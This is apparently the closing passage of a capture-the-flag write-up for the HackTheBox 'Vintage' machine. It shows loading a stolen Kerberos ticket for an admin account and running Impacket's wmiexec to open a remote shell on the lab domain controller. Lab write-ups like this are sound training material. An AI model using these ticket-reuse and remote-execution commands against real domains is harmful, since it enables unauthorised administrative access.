<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2F1VqJJSo0WmRFzqqdeCIZ%2FUntitled23.png?alt=media&#x26;token=738528d5-6b61-492a-b039-ba367a10883f" alt=""><figcaption></figcaption></figure>

And use this ticket to open a CIFS-based (SMB) shell as `l.bianchi_adm`

{% code overflow="wrap" %}

```bash
> export KRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache

> python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -k -no-pass vintage.htb/l.bianchi_adm@dc01.vintage.htb

```

{% endcode %}

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2F1OpoeNpXlVGBbr8qt8Vf%2FUntitled25.png?alt=media&#x26;token=cb0d3251-4bd1-4d06-83c8-401e88ebc377" alt=""><figcaption></figcaption></figure>

You are root.
